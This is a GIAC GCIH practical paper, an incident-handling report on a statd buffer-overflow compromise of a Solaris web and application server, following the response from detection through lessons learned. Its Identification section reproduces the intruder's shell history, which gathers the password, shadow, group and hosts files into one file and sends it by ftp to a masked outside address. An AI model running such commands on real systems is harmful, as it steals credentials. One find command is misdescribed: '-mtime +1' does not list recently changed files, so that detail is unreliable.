Global Information Assurance Certification Paper

Name: Phil Baselice
Practical: GCIH
Filename: Phil_Baselice_GCIH.doc
Conference: Capitol Sans , Washington DC

Executive Summary

This incident resulted in a compromise of one of our organizations servers. The server hosted a proprietary application that served customers throughout the country via a web server running on the same host. The incident was not detected until eight hours after the initial penetration due to the fact that our organization does not yet have 24/7 monitoring of our security tools (At this time we are comparing a number of different Remote Monitoring vendors to see which one bests fits our need). Worse yet the incident was not acted upon for another seven hours due to a mistake by the backup systems administrator. This fact led to a good "lessons learned" later on. The intruder initially gained access to the system by using the "Statd Buffer Overflow Attack". Once on the system the intruder attempted to install or installed and used some cracker tool. It might have been a root-kit, backdoor, Time Bomb or sniffer. We were never able to determine for sure. Later analysis seemed to indicate that the intruder failed to complete their task. As a result a management decision was made to have the System administer quickly put the system back into service after removing all suspected files and changing the passwords. Management was advised of the risk involved in this decision, however since this server provided critical support to our customers, they decided it was a risk worth taking. This meant we had to be extra vigilant on monitoring our security tools. We seemed to have gotten lucky though. It has been four months since the incident and so far we have not noticed any problems with the system or evidence that an intruder has gotten back in.

The sequence of events that led to me being involved as an incident handler is as follows:

At approximately 9:00 am one morning I arrived at work in my role as Security Consultant. One of the first things I do each day is to review the nightly reports of our various security tools. One of the tools we have running is Cisco Net Ranger. There is always a dozen or two number of alerts each morning mostly having to do with simple port scans. However on this morning there was a "statd buffer overflow" alert. It occurred at 01:05 am. I immediately contacted the backup system administrator (the primary system administrator was on vacation) of the target host as indicated by the NetRanger alert.

I informed him of what I saw and asked him to verify the integrity of his system which was a SPARC 10 running Solaris 2.6. I also asked him to verify that they had installed the latest security patch dealing with the "statd buffer overflow attack". As I waited on the phone he logged into the system. He first verified that the latest patch was installed. He then informed me that he was not even running statd. Knowing this made me feel

confident that we did not have a problem, so I went on to other things. However at about 3:00 pm he came to me and told me that he may have made a mistake earlier. He thinks that he may have logged not into the targeted host, but into a development host that they use to do development work on the application.

This time I logged into the targeted host from my system. The first thing I did was to enter "ps –ef | grep statd" Sure enough the statd process was running. I noted that the start time of the process was 01:13 am, just 8 minutes after the "statd buffer overflow attack" occurred. Using the "uptime" command I found out that the system had been up and running for over 32 days. The start time of the statd process should have been over 32 days ago as well unless the process had been stopped or died and had been manually restarted it. I suspected that we may have had a penetration of the system and began formal incident handling tasks.

Preparation

We had made some progress in preparing our networks against attacks. But we were by no means up to snuff. When members of the IT team first approached management about support for computer security initiatives their first reaction typical. They had read and seen all the media hype about computer break-ins and "hacker" attacks, and wanted to be able to report that they were doing something about protecting the company assets. So to show the IT team that they were behind them %100 they went out and purchased multiple security related tools like the latest Raptor firewall and Ciscos NetRanger IDS. When these came in they handed them over to the systems and network administrators and told them to install them right away. That was done. They were now able to report that they were protected. So they thought. It quickly became apparent that none of the administrators had the proper training to either install these products or understand what the output of these tools meant. These tools produced reams of data each day that almost nobody could fully understand. The IT team again went to management with their concerns. Management listened, and this time set up a budget to create a formal security team, provide training for the members of the team and also bring in a security consultant (me) to support the team in its early stages. I came on just prior to this incident. So they had a team in place at the time of the incident but the team and its policies were not yet fully evolved.

One of the things lacking was that at the time of the incident they had not yet had a formal a Security Policy finalized. They also did not have something as basic as warning banners in place on any of their systems. Even today, four months later we are still finalizing policy and, though a standard warning banner has been created, it is still working its way through all the red tape (i.e.; lawyer approval, union approval etc. etc.). So at the time of the incident the only preparation that had been undertaken on policy or checklists had been done by myself as one of my first tasks, it was a rough draft based on accepted best practices learned through previous work, books such as **Cheswick & Bellovin's Firewalls and Internet Security** and **Dan Blacharski's Network Security in**

a Mixed Environment as well as **Sans** Conferences and resources. I also used as a guide **Microsoft's TechNet** site. And its sometimes very useful guides in securing Microsoft's products. There were also some basic "what to do's" decided upon in planning meetings with the newly formed Enterprise Security Team which were included in our draft Security Policy.

Even though our Security Policy at the time of the incident was a bit sketchy it did included most of the required pieces necessary for a good security policy. However this incident highlighted some areas where we were deficient and prodded us to move more quickly in filling in the gaps. Our draft policy included the following.

Designating the role of what we called a "Security Log analyst". Someone who would do the daily analysis of the security tool logs and firewall logs looking for security related "events". I was the one chosen for this initially since I had the most experience in incident handling. The plan was for me to develop the process and automate it as much as possible. Then I was to train others on the process. The Security Log analyst" would be the one who would determine if an alert or event reported by one of the tools was a real incident that needed escalation. He/she would do the initial assessment of the logs and work with the appropriate person such as a systems administrator then sound the alarm if necessary.

We published a contact list for security related incidents. Everyone in the organization was sent (via email) instructions on what to do and who to contact if they suspected a compromise of any of the organizations systems. The people on the list were members of the Enterprise Security Team and myself. During normal work hour's people were to contact someone on the list, starting at the top with the manager (who would usually call me). During off hours and weekends, they were to contact the National Operations Desk, who would then get in touch with someone on the list via their cell phones. All those on the list had had at least some basic training in Incident Handling, some more extensive.

The manager of the Enterprise Security Team made arrangements with a government agency that was involved with Computer/Network security to act as an advisor if we ran into a situation beyond our control. We would also report all other incidents to them to help them in their analysis of "hacker" activity. We decided that the best policy for us was to be out in the open with attacks directed at us. We decided that this was the best way to learn and get help when needed. Eventually this would lead us to build a much more secure network environment. This was probably more of an easier decision for our organization then some others since we are not a commercial enterprise and did not have to worry about bad publicity hurting our profits.

Although we are not a commercial enterprise, we do provide a valuable service to people throughout the country. So the decision on quick containment versus watching and gathering more evidence was not easy. Some thought that since we did not have any profits to worry about we could afford to wait and watch when an intruder entered our network. They felt that it was more important to prosecute and stop these people. Others felt that the services we provide are too important and that we needed to keep systems

online as much as possible. Eventually after much heated debate (and some firm input from upper management) we decided to contain as quickly as possible to prevent further damage.

We made it policy to create and keep a database of all URL's that scan or attack our organizations network.

We established a list of all critical servers and networks and the administrators responsible for them. We included for each administrator their normal work hours and home/cell phone numbers. Each member of the Enterprise Security Team included this list in his or her personnel "jump bag".

We decided on what to include in a basic "jump bag" and to supply these materials to each member of the team. Each team was free to add other tools and most did, but they were required to procure these on their own. However the basic "jump bag" contained most everything a person would need to handle most incidents. At minimum each bag contained;

- A list with phone numbers of each member of the Enterprise Security Team.
- A list with phone numbers of each administrator and the systems that they were responsible for.
- A list of the physical location of all the critical servers
- Some basic diagrams of our intranet and its connection to the internet
- A mix of blank media, 8mm tapes, 4mm tapes, writable Cdroms…
- A dual OS laptop with Windows NT 4 and Linux running forensics and security scanning tools such as nmap and Axents NetRecon.
- Cell Phone
- Tape recorder (ordered but not yet in)
- Notebooks, pens pencils etc,,,,,

We established a schedule for doing monthly security audits. We would do a variety of things such as run scans using NetRecon on our intranet. Attempt to crack passwords on our critical servers using Crack and use war dialing tools looking for unauthorized modems.

All these things were included in out draft Security Policy but were not yet blessed as official policy by management it is however what we were working with at the time of this incident.

Identification

The first indication that there might be an incident was a NetRanger alert. That morning at 01:05 am one of our NetRanger sensors connected to our DMZ detected a "statd buffer overflow" attack coming from an IP in Moscow. The time that the alert was noticed was 08:00 am. The alert data gave me the Source IP address and Target IP address as well as other information. The Target IP was a Unix system running Solaris 2.6 and hosting an in-house developed application. Checking the Source IP address in our database of "hack" attempts I found that this same IP had port-scanned hosts on our DMZ several weeks earlier. Based on this information I decided to alert the system administrator of the targeted host. The primary administrator was on vacation but I was able to reach his backup. Unfortunately, this administrator was somewhat of a novice and mistakenly logged into the wrong host. Everything seemed OK because the host he was logged into was not running statd and besides it had the latest Solaris patch installed.

At 03:00 pm the administrator informed me that he had logged into the wrong host and asked me to assist him in checking the real one. I logged into the targeted host using a userid and password supplied by the administrator. I su'd to root user and entered the following command:

```
ps –ef | grep statd
```

The response was:

```
root       324     1       0       Sep 03 ?        01:13  /usr/lib/nfs/statd
```

The fact that the statd daemon was running was not in itself a bad thing. I figured that as long as they were patched they should be fine (usually). What bothered me though was the start time of the process. It was that day at 01:13 in the morning. Eight minutes after the buffer overflow attack. I next entered the following command:

```
uptime
```

The response was:

```
 3:14pm  up     32 day(s),      3:03,    1 user, load average: 0.08, 0.09,  0.08
```

This lead me to suspect that maybe the statd buffer overflow attack succeeded and an intruder was able to gain access to the host. I supposed the possibility that the statd process died due to the buffer overflow and that after the intruder gained access one of the first things he/she would do is to restart the statd process in order to make things appear as normal. Based on this information I began investigating deeper. The next thing I did was to see if the latest Solaris patch for the statd buffer overflow attack was installed. It was not.

Suspecting the worse I asked the systems administrator to start taking notes, jotting down what we found so far. I still was not positive that we had had a penetration. I wanted

more evidense before I sounded the alarm. So we began quickly looking at some of the more obvious things on the system. We checked for any new entries or modifications to the /etc/passwd file. I looked for any new cron jobs. We entered the following command from the root directory looking for any file added in the last 24 hrs:

find . –mtime +1 –print

We found nothing unusual. We then began painstakingly scouring each file system looking for things out of the ordinary. This was a difficult task given the fact that neither one of us had an intimate knowledge of the system. This is where the regular systems administrator would have been very helpful. None of these things turned up anything. We then turned our attention to the system log file /var/adm/messages. Here is where things got interesting. There was a gap in the file between 11:30 the day before and 3:30 am this morning. This was really strange because we had set up syslog so that a Timestamp would be written to the file every 15 minutes. I was almost ready to sound the alarm. We checked one more thing, and it was the root users .sh_history file. I did not figure on finding anything, any intruder would certainly not leave any evidence here. But lo and behold when we browsed through the file we found definite evidence of an intruder's activity. These were some of the entries we found:

```
df -k
mkdir /tmp/me
who
cat /etc/passwd
cp MyHacker_tools /tmp/me
rm MyHacker_tools
cd /tmp
cd me
sh MyHacker_tools
cat hack_rslt.txt
cat /etc/passwd > file
cat /etc/shadow >> file
cat /etc/group >> file
cat /etc/hosts >> file
ftp xxx.xxx.xxx.xxx
cd ..
rm –r me
```

We were now sure that we had an incident. We now needed to take the next steps toward containment. Our next decision was to decide whether we should immediately pull the plug. This was a critical server providing critical services to people nationwide. After making a quick analysis of the application we determined that it was functioning correctly, so assuming that we were not in immediate danger we decided to keep the server up. I then asked the system administrator begin making two backups of the system. This step highlighted one of our shortcomings. We had no good backup tool as yet. The normal backup process on this system as on all our Solaris systems was to use

the ufsdump command, and dump the data to a tape drive. The command that he entered was;

ufsdump 0cfu /dev/rmt/0 /dev/rdsk/c0t0d0s0

While he was doing this I went off to alert the appropriate people. These included the rest of the members of the Enterprise Security Team, the members of the application development team and their manager and the CIO. The message we got back was to continue gathering data and report back in 2 hours. We were instructed not to unplug the server without first informing management.

Containment

After completing the second backup tape we began taking some steps to harden the system. We changed all the passwords. We looked at the services that were running. ftp was usually turned on for use by the developers, but we disabled it since it was not needed by the application. We then verified that only those services that were required by the application were running. This meant shutting down statd, time, sendmail and sunrpc. We pretty much had all doors closed and since we had changed all the passwords we felt we were pretty safe for the time being (however we did not lose sight of the possibility of a backdoor being present allowing the intruder to come back at anytime). That being the case I asked the application developers to verify as much as possible the integrity of the application files. We created a temporary filesystem were they could install the latest version of the application and do compares with the running version. All seemed in order. We then did the same thing with the Solaris binaries comparing to the same version binaries on a CD. Again everything seemed OK.

It appeared that whatever the intruder did and whatever the script MyHacker_tools did there was no evidence left behind. It was of course possible that the intruder installed something that was being hidden from us by some very clever root_kit, but without any direct evidence I knew I would not be able to convince management to take down and nuke the server. I was proved right a little while latter when I went to give my initial assessment to the CIO and the other members of the management team. . All I was able to confirm for them was that a penetration did take place, that the intruder installed and ran some script with an unknown purpose and that it appeared the intruder ftp'd a copy of some of the system files (including the password file) to an IP belonging to an ISP in Moscow. The decision was that since we could not find any alien files on the system and since we had changed the passwords there was not enough risk to justify taking down the server. We were asked to do whatever we could to make sure that the same thing did not happen again and to monitor the system closely.

Eradication

We took the following steps to protect the system against further penetration.

We modified the inittab and rc boot up scripts to make sure that no unnecessary processes would be started.

We installed all the latest Solaris security patches.

We installed tripwire on the system.

We redirected the system log to a remote syslog server.

We hooked up the laptop from my jump kit onto the DMX and ran nmap, nessus and NetRecon against the system looking for vulnerabilities. We also did a security assessment of all the other hosts on the DMZ, taking similar actions where appropriate.

The manager of the Enterprise Security team sent an email to the ISP in Moscow to inform them of the attack. We gave them all of the information we had and asked them to try to track down the source. (We never received a reply).

We took all of the evidence that we had, notes, backup tapes, hardcopies of the /var/adm/messages file showing the gap. Ah hardcopy of the root users .sh_history file showing the commands that we suspect that the intruder ran and put them in a small box. We also included a form that listed each person involved in the incident with a brief description of what they did, even if they were only present at a meeting discussing the incident. We had each person sign and date this form. We put this form in the box as well. We also had a sign out sheet for people to sign out any of the evidence. We then labeled and sealed the box and put it in a locked closet controlled by the Enterprise Security Team.

As a final exercise, we took the backup we made following the initial discovery of the intruder and installed it on a spare Sparc station. We have it isolated on a hub with a couple of spare workstations running the client application. One of our tasks will be to do a careful file-by-file analysis of each file system. Although we do believe that the intruder removed all of his files so we are not counting on finding anything. Another thing that we did is to set up the scripts on the spare workstations that run periodically via cron. These scripts are meant to simulate normal client activity. Our fear is that maybe the intruder installed a Time Bomb set to go off at a later date. We have set the system date on the spare server and workstations to two days ahead of the real system. We will keep this mini-system up and running for at least a year, and then until we need the hardware. Our hope is that if a Time Bomb was installed it will "go off" on our mini system first giving us a couple of days to prevent disaster.

Recovery

Even though we were not going to replace the server at this time I had the system administrator begin the process of building a backup server using a clean Solaris OS installation CD and the latest version of the application provided by the developers. He will also make the same modifications to the system that we had already done to the running system. We have also begun the process of making backup servers for all of our other critical systems.

Follow Up / Lessons Learned

We learned a number of valuable lessons, one of them being that we need to do periodic security audits on our network. These will allow us to reduce the number of vulnerabilities by shutting down unnecessary processes thereby reducing the number of doors that an intruder could gain access through. So we have set up a schedule where we will run several port scanners once a month. We hope that by using different tools we will be able to catch things with one tool that another may miss. The scanners we are using are Nmap, Nessus and Axents NetRecon. We ran all these tools for the first time the week after this incident. Using the output of all three tools we compiled a report on each of the critical servers. We then spent time with the systems administrators of each system to correct all the vulnerabilities that we could. Our plan is to run these tools each month on all critical servers on our DMZ's and intranet, comparing the outputs with the previous months reports and correcting any new vulnerabilities. This has worked out well. It was a lot of work after the initial runs correcting all of the problems but subsequent months runs have resulted in only minor changes.

Another lesson we learned is to install all of the latest patches on all of our systems. If we had had the latest patch installed on this system the intruder would not have succeeded. We have also set up a procedure to insure that as new patches are released we install them as soon as possible. Basically it is mostly a manual process that has been assigned to one of the members of the Enterprise Security Team. She works with a database of all our Operating Systems and major applications. The database includes the web site of each of the vendors or supporters of the OS or application. She has been able to set up automatic notification with some of the major vendors where she is notified via email when a new patch is released. On all others she manually checks for updates periodically checking them at least once a week. When a release comes out she downloads it and works with the appropriate system administrator to install the patch.

For upgrades and patches for Windows NT systems we are looking at using Microsoft's SMS tool. It is currently in the evaluation phase.

Another valuable lesson was how important it is to have a recovery plan for each critical system. This recovery plan should include having a backup server ready to go whenever needed. If we had had a backup server we could have immediately shut down the targeted server and replaced it. We then would have had all the time we needed to make a careful evaluation of the attack in a much more relaxed atmosphere.

We also determined that we need better backup tools other then the standard backup facilities that come with the operating systems. We have several backup tools that we are looking at.

It also became apparent to us that the backup administrators should have better training on the systems that they are backup on. If the primary systems administrator was available from the start the earlier problems would have been avoided and we would have been able to detect and contain the intrusion much earlier. So we have set up training schedule for all of our system administrators. The focus is on insuring that all system administrators get proficient in another administrators systems. In some cases this merely means becoming familiar with the system configuration and applications on other systems. However in other cases it means that an administrator may need to learn another operating system. So some of the administrators were scheduled for NT classes and others Unix classes. This has required an increase in the training budget but with this latest incident fresh in their minds it was an easy sell to management.